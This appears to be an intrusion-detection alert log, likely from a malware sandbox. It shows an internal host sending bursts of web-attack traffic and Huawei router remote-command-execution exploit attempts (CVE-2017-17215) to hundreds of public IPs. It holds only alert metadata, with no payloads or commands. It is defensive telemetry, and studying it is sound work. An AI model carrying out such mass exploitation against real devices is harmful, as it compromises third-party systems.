2025-01-30T10:43:40.081276+0100	2029034	1	Web Application Attack	192.168.2.14	58356	4.150.126.235	80	TCP
2025-01-30T10:43:41.099090+0100	2029034	1	Web Application Attack	192.168.2.14	55154	154.49.239.121	80	TCP
2025-01-30T10:43:41.100719+0100	2029034	1	Web Application Attack	192.168.2.14	36590	76.37.39.165	80	TCP
2025-01-30T10:43:41.114588+0100	2029034	1	Web Application Attack	192.168.2.14	42398	71.2.125.197	80	TCP
2025-01-30T10:43:42.066510+0100	2029034	1	Web Application Attack	192.168.2.14	36188	131.247.120.184	80	TCP
2025-01-30T10:43:42.082938+0100	2029034	1	Web Application Attack	192.168.2.14	35930	35.20.39.82	80	TCP
2025-01-30T10:43:42.083022+0100	2029034	1	Web Application Attack	192.168.2.14	36688	208.74.208.117	80	TCP
2025-01-30T10:43:42.083057+0100	2029034	1	Web Application Attack	192.168.2.14	49340	53.249.137.27	80	TCP
2025-01-30T10:43:42.083303+0100	2029034	1	Web Application Attack	192.168.2.14	36744	114.180.248.112	80	TCP
2025-01-30T10:43:42.084973+0100	2029034	1	Web Application Attack	192.168.2.14	49364	201.95.105.187	80	TCP
2025-01-30T10:43:42.085071+0100	2029034	1	Web Application Attack	192.168.2.14	37508	103.136.14.42	80	TCP
2025-01-30T10:43:42.096953+0100	2029034	1	Web Application Attack	192.168.2.14	54782	174.89.103.102	80	TCP
2025-01-30T10:43:42.098920+0100	2029034	1	Web Application Attack	192.168.2.14	32820	197.219.41.237	80	TCP
2025-01-30T10:43:42.102316+0100	2029034	1	Web Application Attack	192.168.2.14	35344	41.12.59.97	80	TCP
2025-01-30T10:43:42.102583+0100	2029034	1	Web Application Attack	192.168.2.14	35366	71.17.145.151	80	TCP
2025-01-30T10:43:42.852650+0100	2029034	1	Web Application Attack	192.168.2.14	40212	212.150.71.115	80	TCP
2025-01-30T10:43:43.096917+0100	2029034	1	Web Application Attack	192.168.2.14	55716	98.92.4.184	80	TCP
2025-01-30T10:43:43.096920+0100	2029034	1	Web Application Attack	192.168.2.14	58440	148.164.163.137	80	TCP
2025-01-30T10:43:43.096941+0100	2029034	1	Web Application Attack	192.168.2.14	34558	71.112.255.81	80	TCP
2025-01-30T10:43:43.097596+0100	2029034	1	Web Application Attack	192.168.2.14	37824	12.153.247.78	80	TCP
2025-01-30T10:43:43.112451+0100	2029034	1	Web Application Attack	192.168.2.14	49104	130.33.236.144	80	TCP
2025-01-30T10:43:43.112497+0100	2029034	1	Web Application Attack	192.168.2.14	49854	87.107.11.30	80	TCP
2025-01-30T10:43:43.113244+0100	2029034	1	Web Application Attack	192.168.2.14	38136	136.232.25.202	80	TCP
2025-01-30T10:43:43.113301+0100	2029034	1	Web Application Attack	192.168.2.14	45462	109.171.160.15	80	TCP
2025-01-30T10:43:43.114270+0100	2029034	1	Web Application Attack	192.168.2.14	52442	162.147.6.162	80	TCP
2025-01-30T10:43:43.114288+0100	2029034	1	Web Application Attack	192.168.2.14	34494	82.176.52.10	80	TCP
2025-01-30T10:43:43.115391+0100	2029034	1	Web Application Attack	192.168.2.14	39578	96.49.204.55	80	TCP
2025-01-30T10:43:43.116441+0100	2029034	1	Web Application Attack	192.168.2.14	54584	216.93.163.243	80	TCP
2025-01-30T10:43:43.128325+0100	2029034	1	Web Application Attack	192.168.2.14	43616	149.178.71.70	80	TCP
2025-01-30T10:43:43.128438+0100	2029034	1	Web Application Attack	192.168.2.14	40106	39.28.91.132	80	TCP
2025-01-30T10:43:43.132073+0100	2029034	1	Web Application Attack	192.168.2.14	33968	190.215.89.35	80	TCP
2025-01-30T10:43:43.132126+0100	2029034	1	Web Application Attack	192.168.2.14	48224	52.109.179.55	80	TCP
2025-01-30T10:43:43.133740+0100	2029034	1	Web Application Attack	192.168.2.14	36506	213.66.112.116	80	TCP
2025-01-30T10:43:43.134074+0100	2029034	1	Web Application Attack	192.168.2.14	34276	139.128.173.196	80	TCP
2025-01-30T10:43:43.135989+0100	2029034	1	Web Application Attack	192.168.2.14	41974	48.62.79.109	80	TCP
2025-01-30T10:43:43.149703+0100	2029034	1	Web Application Attack	192.168.2.14	42634	120.10.191.73	80	TCP
2025-01-30T10:43:43.150716+0100	2029034	1	Web Application Attack	192.168.2.14	35928	131.40.194.42	80	TCP
2025-01-30T10:43:44.144037+0100	2029034	1	Web Application Attack	192.168.2.14	44624	94.101.151.218	80	TCP
2025-01-30T10:43:45.143897+0100	2029034	1	Web Application Attack	192.168.2.14	60750	124.90.5.191	80	TCP
2025-01-30T10:43:45.165448+0100	2029034	1	Web Application Attack	192.168.2.14	35138	140.18.245.156	80	TCP
2025-01-30T10:43:46.192370+0100	2029034	1	Web Application Attack	192.168.2.14	48366	208.47.26.228	80	TCP
2025-01-30T10:43:46.208065+0100	2029034	1	Web Application Attack	192.168.2.14	37502	9.78.79.128	80	TCP
2025-01-30T10:43:46.221880+0100	2029034	1	Web Application Attack	192.168.2.14	41846	130.202.83.171	80	TCP
2025-01-30T10:43:47.208142+0100	2029034	1	Web Application Attack	192.168.2.14	36552	35.98.252.14	80	TCP
2025-01-30T10:43:47.227678+0100	2029034	1	Web Application Attack	192.168.2.14	60770	66.41.143.200	80	TCP
2025-01-30T10:43:47.227927+0100	2029034	1	Web Application Attack	192.168.2.14	53386	93.81.111.53	80	TCP
2025-01-30T10:43:47.245669+0100	2029034	1	Web Application Attack	192.168.2.14	35496	68.72.170.234	80	TCP
2025-01-30T10:43:48.190915+0100	2029034	1	Web Application Attack	192.168.2.14	33860	97.108.49.103	80	TCP
2025-01-30T10:43:48.192977+0100	2029034	1	Web Application Attack	192.168.2.14	50478	161.165.50.76	80	TCP
2025-01-30T10:43:48.206741+0100	2029034	1	Web Application Attack	192.168.2.14	37300	134.221.28.77	80	TCP
2025-01-30T10:43:48.206822+0100	2029034	1	Web Application Attack	192.168.2.14	45036	93.72.17.94	80	TCP
2025-01-30T10:43:48.208166+0100	2029034	1	Web Application Attack	192.168.2.14	58328	149.41.43.132	80	TCP
2025-01-30T10:43:48.208179+0100	2029034	1	Web Application Attack	192.168.2.14	44976	165.2.208.236	80	TCP
2025-01-30T10:43:48.208181+0100	2029034	1	Web Application Attack	192.168.2.14	55240	220.162.161.140	80	TCP
2025-01-30T10:43:48.208210+0100	2029034	1	Web Application Attack	192.168.2.14	46802	67.253.199.179	80	TCP
2025-01-30T10:43:48.210159+0100	2029034	1	Web Application Attack	192.168.2.14	59360	122.221.97.166	80	TCP
2025-01-30T10:43:48.210592+0100	2029034	1	Web Application Attack	192.168.2.14	55192	45.250.199.205	80	TCP
2025-01-30T10:43:48.210598+0100	2029034	1	Web Application Attack	192.168.2.14	55302	136.208.28.185	80	TCP
2025-01-30T10:43:48.210599+0100	2029034	1	Web Application Attack	192.168.2.14	59104	75.23.214.171	80	TCP
2025-01-30T10:43:48.210668+0100	2029034	1	Web Application Attack	192.168.2.14	53476	161.216.52.93	80	TCP
2025-01-30T10:43:48.212559+0100	2029034	1	Web Application Attack	192.168.2.14	59786	210.118.17.191	80	TCP
2025-01-30T10:43:48.212681+0100	2029034	1	Web Application Attack	192.168.2.14	58538	4.92.16.213	80	TCP
2025-01-30T10:43:48.214492+0100	2029034	1	Web Application Attack	192.168.2.14	44430	198.124.187.159	80	TCP
2025-01-30T10:43:48.223689+0100	2029034	1	Web Application Attack	192.168.2.14	45090	59.180.110.152	80	TCP
2025-01-30T10:43:48.224077+0100	2029034	1	Web Application Attack	192.168.2.14	59752	205.54.219.140	80	TCP
2025-01-30T10:43:48.228236+0100	2029034	1	Web Application Attack	192.168.2.14	37770	67.102.120.3	80	TCP
2025-01-30T10:43:49.222588+0100	2029034	1	Web Application Attack	192.168.2.14	35864	131.241.186.82	80	TCP
2025-01-30T10:43:49.222603+0100	2029034	1	Web Application Attack	192.168.2.14	46280	77.94.64.237	80	TCP
2025-01-30T10:43:49.222888+0100	2029034	1	Web Application Attack	192.168.2.14	34418	14.179.47.156	80	TCP
2025-01-30T10:43:49.223198+0100	2029034	1	Web Application Attack	192.168.2.14	57684	108.114.34.134	80	TCP
2025-01-30T10:43:49.223342+0100	2029034	1	Web Application Attack	192.168.2.14	33168	199.170.59.234	80	TCP
2025-01-30T10:43:49.224407+0100	2029034	1	Web Application Attack	192.168.2.14	41728	208.239.147.178	80	TCP
2025-01-30T10:43:49.224572+0100	2029034	1	Web Application Attack	192.168.2.14	58774	57.216.85.203	80	TCP
2025-01-30T10:43:49.224598+0100	2029034	1	Web Application Attack	192.168.2.14	54308	83.145.187.144	80	TCP
2025-01-30T10:43:49.226370+0100	2029034	1	Web Application Attack	192.168.2.14	40570	212.173.131.128	80	TCP
2025-01-30T10:43:49.226548+0100	2029034	1	Web Application Attack	192.168.2.14	55000	151.238.225.180	80	TCP
2025-01-30T10:43:49.230468+0100	2029034	1	Web Application Attack	192.168.2.14	53000	193.191.218.13	80	TCP
2025-01-30T10:43:49.242063+0100	2029034	1	Web Application Attack	192.168.2.14	35356	205.75.167.131	80	TCP
2025-01-30T10:43:49.242282+0100	2029034	1	Web Application Attack	192.168.2.14	53188	160.15.16.227	80	TCP
2025-01-30T10:43:49.243204+0100	2029034	1	Web Application Attack	192.168.2.14	36014	210.174.174.27	80	TCP
2025-01-30T10:43:49.243417+0100	2029034	1	Web Application Attack	192.168.2.14	47750	104.172.248.153	80	TCP
2025-01-30T10:43:50.222151+0100	2029034	1	Web Application Attack	192.168.2.14	34734	180.199.16.236	80	TCP
2025-01-30T10:43:50.237722+0100	2029034	1	Web Application Attack	192.168.2.14	46118	99.175.109.191	80	TCP
2025-01-30T10:43:50.237850+0100	2029034	1	Web Application Attack	192.168.2.14	42258	88.41.72.104	80	TCP
2025-01-30T10:43:50.237857+0100	2029034	1	Web Application Attack	192.168.2.14	43616	128.253.174.229	80	TCP
2025-01-30T10:43:50.238358+0100	2029034	1	Web Application Attack	192.168.2.14	53952	200.134.233.247	80	TCP
2025-01-30T10:43:50.238505+0100	2029034	1	Web Application Attack	192.168.2.14	51846	119.156.146.149	80	TCP
2025-01-30T10:43:50.239584+0100	2029034	1	Web Application Attack	192.168.2.14	53718	145.40.219.121	80	TCP
2025-01-30T10:43:50.239811+0100	2029034	1	Web Application Attack	192.168.2.14	36972	143.227.230.192	80	TCP
2025-01-30T10:43:50.241547+0100	2029034	1	Web Application Attack	192.168.2.14	38806	148.85.50.141	80	TCP
2025-01-30T10:43:50.241640+0100	2029034	1	Web Application Attack	192.168.2.14	45516	159.160.126.76	80	TCP
2025-01-30T10:43:50.267971+0100	2029034	1	Web Application Attack	192.168.2.14	59474	31.23.10.68	80	TCP
2025-01-30T10:43:50.268345+0100	2029034	1	Web Application Attack	192.168.2.14	51722	173.183.34.237	80	TCP
2025-01-30T10:43:50.268345+0100	2029034	1	Web Application Attack	192.168.2.14	45932	205.227.23.29	80	TCP
2025-01-30T10:43:50.272616+0100	2029034	1	Web Application Attack	192.168.2.14	58620	60.75.22.241	80	TCP
2025-01-30T10:43:50.274344+0100	2029034	1	Web Application Attack	192.168.2.14	41652	188.166.184.91	80	TCP
2025-01-30T10:43:50.277090+0100	2029034	1	Web Application Attack	192.168.2.14	44882	219.112.39.108	80	TCP
2025-01-30T10:43:50.278494+0100	2029034	1	Web Application Attack	192.168.2.14	42858	165.154.143.194	80	TCP
2025-01-30T10:43:50.278499+0100	2029034	1	Web Application Attack	192.168.2.14	44044	196.240.1.103	80	TCP
2025-01-30T10:43:51.269042+0100	2029034	1	Web Application Attack	192.168.2.14	59198	198.150.16.141	80	TCP
2025-01-30T10:43:51.270528+0100	2029034	1	Web Application Attack	192.168.2.14	54426	146.72.204.90	80	TCP
2025-01-30T10:43:51.271221+0100	2029034	1	Web Application Attack	192.168.2.14	40426	72.20.78.93	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-30T10:43:07.988630+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43494	41.46.127.52	37215	TCP
2025-01-30T10:43:13.801005+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60026	197.8.180.225	37215	TCP
2025-01-30T10:43:19.240663+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57708	156.231.44.228	37215	TCP
2025-01-30T10:43:22.532834+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35236	41.221.95.50	37215	TCP
2025-01-30T10:43:24.032537+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58990	156.242.124.75	37215	TCP
2025-01-30T10:43:24.455979+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34680	156.153.93.40	37215	TCP
2025-01-30T10:43:24.471469+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39394	156.140.48.212	37215	TCP
2025-01-30T10:43:24.472216+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42412	41.239.226.175	37215	TCP
2025-01-30T10:43:24.491083+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51996	156.1.171.213	37215	TCP
2025-01-30T10:43:24.520620+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35920	156.63.240.57	37215	TCP
2025-01-30T10:43:25.520480+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51474	41.51.110.42	37215	TCP
2025-01-30T10:43:25.522409+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44396	41.40.143.60	37215	TCP
2025-01-30T10:43:25.522697+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47634	41.47.143.151	37215	TCP
2025-01-30T10:43:26.488942+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33328	197.71.120.86	37215	TCP
2025-01-30T10:43:26.550098+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43292	156.223.162.115	37215	TCP
2025-01-30T10:43:26.551407+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41084	156.12.1.123	37215	TCP
2025-01-30T10:43:26.566301+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55226	41.88.128.241	37215	TCP
2025-01-30T10:43:26.598796+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60000	41.63.44.18	37215	TCP
2025-01-30T10:43:27.487338+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41240	156.225.22.253	37215	TCP
2025-01-30T10:43:27.487339+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58744	41.180.130.242	37215	TCP
2025-01-30T10:43:27.487845+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39370	41.99.242.230	37215	TCP
2025-01-30T10:43:27.503074+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35772	197.191.245.38	37215	TCP
2025-01-30T10:43:27.504919+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49802	156.46.13.57	37215	TCP
2025-01-30T10:43:27.504923+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36896	197.103.208.53	37215	TCP
2025-01-30T10:43:27.518698+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36912	41.158.143.19	37215	TCP
2025-01-30T10:43:27.518713+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52392	197.182.19.162	37215	TCP
2025-01-30T10:43:27.522375+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37734	156.244.153.180	37215	TCP
2025-01-30T10:43:27.524393+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42848	41.175.68.121	37215	TCP
2025-01-30T10:43:27.524802+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43722	197.50.34.79	37215	TCP
2025-01-30T10:43:27.524878+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36088	197.171.102.195	37215	TCP
2025-01-30T10:43:27.526221+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52950	156.55.180.225	37215	TCP
2025-01-30T10:43:27.583035+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34772	156.134.211.68	37215	TCP
2025-01-30T10:43:27.598385+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52606	156.107.19.155	37215	TCP
2025-01-30T10:43:27.598970+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46706	197.24.241.187	37215	TCP
2025-01-30T10:43:28.549915+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46392	41.227.124.233	37215	TCP
2025-01-30T10:43:29.565647+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35230	156.159.35.207	37215	TCP
2025-01-30T10:43:29.581014+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57704	156.148.227.108	37215	TCP
2025-01-30T10:43:29.581066+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55780	41.228.115.4	37215	TCP
2025-01-30T10:43:29.583073+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42168	41.114.15.245	37215	TCP
2025-01-30T10:43:29.601442+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32802	197.184.43.108	37215	TCP
2025-01-30T10:43:30.452452+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43674	197.9.76.181	37215	TCP
2025-01-30T10:43:30.603617+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59118	197.254.126.85	37215	TCP
2025-01-30T10:43:30.605238+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57302	156.214.44.44	37215	TCP
2025-01-30T10:43:30.636481+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33376	156.151.148.196	37215	TCP
2025-01-30T10:43:31.443838+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56618	197.8.214.252	37215	TCP
2025-01-30T10:43:31.475502+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60046	41.184.175.181	37215	TCP
2025-01-30T10:43:31.645809+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37908	197.96.93.111	37215	TCP
2025-01-30T10:43:31.650070+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47546	156.252.210.42	37215	TCP
2025-01-30T10:43:32.182647+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45934	197.9.163.93	37215	TCP
2025-01-30T10:43:32.613161+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45658	156.156.231.215	37215	TCP
2025-01-30T10:43:32.614261+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45874	156.100.169.193	37215	TCP
2025-01-30T10:43:32.627830+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39060	156.95.194.162	37215	TCP
2025-01-30T10:43:32.627923+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34000	197.50.204.108	37215	TCP
2025-01-30T10:43:32.628010+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33490	197.45.184.16	37215	TCP
2025-01-30T10:43:32.628037+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35414	41.139.128.121	37215	TCP
2025-01-30T10:43:32.628112+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38272	41.20.70.109	37215	TCP
2025-01-30T10:43:32.629046+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42806	156.59.247.233	37215	TCP
2025-01-30T10:43:32.629883+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42100	197.1.154.8	37215	TCP
2025-01-30T10:43:32.631857+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59256	41.69.12.241	37215	TCP
2025-01-30T10:43:32.631862+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59148	197.130.192.70	37215	TCP
2025-01-30T10:43:32.631904+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47334	41.226.182.138	37215	TCP
2025-01-30T10:43:32.631914+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39294	156.104.210.113	37215	TCP
2025-01-30T10:43:32.633988+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57582	197.119.158.61	37215	TCP
2025-01-30T10:43:32.633991+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46892	41.47.169.228	37215	TCP
2025-01-30T10:43:32.635820+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56234	156.207.40.203	37215	TCP
2025-01-30T10:43:32.644392+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37318	156.89.76.175	37215	TCP
2025-01-30T10:43:34.643822+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51132	156.157.166.251	37215	TCP
2025-01-30T10:43:34.681260+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45670	197.84.146.72	37215	TCP
2025-01-30T10:43:34.692448+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49762	41.194.128.148	37215	TCP
2025-01-30T10:43:35.676878+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53214	41.165.112.211	37215	TCP
2025-01-30T10:43:35.679638+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52476	156.204.102.163	37215	TCP
2025-01-30T10:43:35.679647+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38986	197.87.93.111	37215	TCP
2025-01-30T10:43:36.674843+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50240	156.218.173.61	37215	TCP
2025-01-30T10:43:36.675575+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35208	41.223.184.147	37215	TCP
2025-01-30T10:43:36.675648+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35242	197.226.228.8	37215	TCP
2025-01-30T10:43:36.692765+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52952	41.86.163.65	37215	TCP
2025-01-30T10:43:36.723890+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33140	41.103.141.219	37215	TCP
2025-01-30T10:43:36.727412+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35286	197.184.152.155	37215	TCP
2025-01-30T10:43:38.250618+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56570	156.254.95.229	37215	TCP
2025-01-30T10:43:38.723577+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42322	41.81.171.216	37215	TCP
2025-01-30T10:43:40.757041+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37694	41.208.131.221	37215	TCP
2025-01-30T10:43:41.722048+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58904	41.190.142.129	37215	TCP
2025-01-30T10:43:41.722062+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60346	41.133.222.23	37215	TCP
2025-01-30T10:43:41.722092+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36758	41.153.44.241	37215	TCP
2025-01-30T10:43:41.722235+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42664	41.86.10.180	37215	TCP
2025-01-30T10:43:41.737634+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55476	197.71.230.8	37215	TCP
2025-01-30T10:43:41.738277+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40272	41.11.253.155	37215	TCP
2025-01-30T10:43:41.754039+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33538	197.233.59.223	37215	TCP
2025-01-30T10:43:41.754929+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54284	197.164.145.122	37215	TCP
2025-01-30T10:43:41.754973+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45560	197.237.226.147	37215	TCP
2025-01-30T10:43:41.755094+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58790	41.44.251.68	37215	TCP
2025-01-30T10:43:41.755231+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49890	197.78.17.158	37215	TCP
2025-01-30T10:43:41.760858+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49098	156.21.247.12	37215	TCP
2025-01-30T10:43:41.769070+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49232	41.37.76.13	37215	TCP
2025-01-30T10:43:41.769108+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34682	197.221.254.239	37215	TCP
2025-01-30T10:43:41.769108+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51564	41.151.19.223	37215	TCP
2025-01-30T10:43:41.769280+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34482	156.95.159.83	37215	TCP
2025-01-30T10:43:41.769768+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49366	156.119.5.151	37215	TCP
2025-01-30T10:43:41.769995+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52738	41.208.164.30	37215	TCP
2025-01-30T10:43:41.770541+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41108	41.176.87.120	37215	TCP
2025-01-30T10:43:41.770623+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52014	156.56.206.253	37215	TCP
2025-01-30T10:43:41.770742+0100	2835222	1	A Network Trojan was detected	192.168.2.14	42918	41.207.66.55	37215	TCP
2025-01-30T10:43:41.770854+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49854	41.233.50.156	37215	TCP
2025-01-30T10:43:41.770921+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40356	156.36.212.12	37215	TCP
2025-01-30T10:43:41.771677+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44852	41.168.250.9	37215	TCP
2025-01-30T10:43:41.771754+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34668	197.17.114.83	37215	TCP
2025-01-30T10:43:41.772605+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36698	41.143.75.154	37215	TCP
2025-01-30T10:43:41.774952+0100	2835222	1	A Network Trojan was detected	192.168.2.14	39438	197.211.136.231	37215	TCP
2025-01-30T10:43:41.808430+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56866	156.146.240.126	37215	TCP
2025-01-30T10:43:42.497339+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60750	156.195.163.17	37215	TCP
2025-01-30T10:43:42.753391+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55228	41.138.6.70	37215	TCP
2025-01-30T10:43:42.755273+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47616	197.71.38.157	37215	TCP
2025-01-30T10:43:42.768751+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37930	41.48.43.22	37215	TCP
2025-01-30T10:43:42.771271+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55136	41.49.143.122	37215	TCP
2025-01-30T10:43:42.771544+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46584	156.28.111.76	37215	TCP
2025-01-30T10:43:42.773188+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50368	41.239.240.33	37215	TCP
2025-01-30T10:43:42.774824+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38632	156.102.240.87	37215	TCP
2025-01-30T10:43:42.774856+0100	2835222	1	A Network Trojan was detected	192.168.2.14	32938	156.25.122.218	37215	TCP
2025-01-30T10:43:43.451666+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45200	156.246.240.109	37215	TCP
2025-01-30T10:43:43.788366+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55068	197.137.190.231	37215	TCP
2025-01-30T10:43:44.800981+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47162	197.176.38.201	37215	TCP
2025-01-30T10:43:44.801763+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45910	197.195.186.64	37215	TCP
2025-01-30T10:43:44.801769+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40862	156.99.201.107	37215	TCP
2025-01-30T10:43:44.805619+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58526	41.48.15.77	37215	TCP
2025-01-30T10:43:45.784462+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55928	156.183.222.130	37215	TCP
2025-01-30T10:43:45.799982+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47380	197.150.16.13	37215	TCP
2025-01-30T10:43:45.800072+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51310	197.140.43.67	37215	TCP
2025-01-30T10:43:45.800126+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45164	41.5.92.188	37215	TCP
2025-01-30T10:43:45.800211+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45822	41.4.75.31	37215	TCP
2025-01-30T10:43:45.800724+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38110	197.246.11.142	37215	TCP
2025-01-30T10:43:45.800857+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57476	197.147.27.63	37215	TCP
2025-01-30T10:43:45.800918+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38990	156.49.86.206	37215	TCP
2025-01-30T10:43:45.800982+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44416	156.232.136.89	37215	TCP
2025-01-30T10:43:45.802142+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38252	156.197.62.19	37215	TCP
2025-01-30T10:43:45.802210+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60072	197.100.190.180	37215	TCP
2025-01-30T10:43:45.802268+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45394	41.183.232.169	37215	TCP
2025-01-30T10:43:45.803755+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52002	197.127.45.148	37215	TCP
2025-01-30T10:43:45.804289+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37940	41.36.193.213	37215	TCP
2025-01-30T10:43:45.837521+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56924	41.118.195.252	37215	TCP
2025-01-30T10:43:45.852524+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37620	41.10.137.11	37215	TCP
2025-01-30T10:43:45.852827+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47408	41.54.36.27	37215	TCP
2025-01-30T10:43:45.853021+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41654	156.166.165.169	37215	TCP
2025-01-30T10:43:46.831605+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47362	156.126.117.164	37215	TCP
2025-01-30T10:43:47.804744+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56206	156.96.136.191	37215	TCP
2025-01-30T10:43:47.817500+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33024	41.183.220.92	37215	TCP
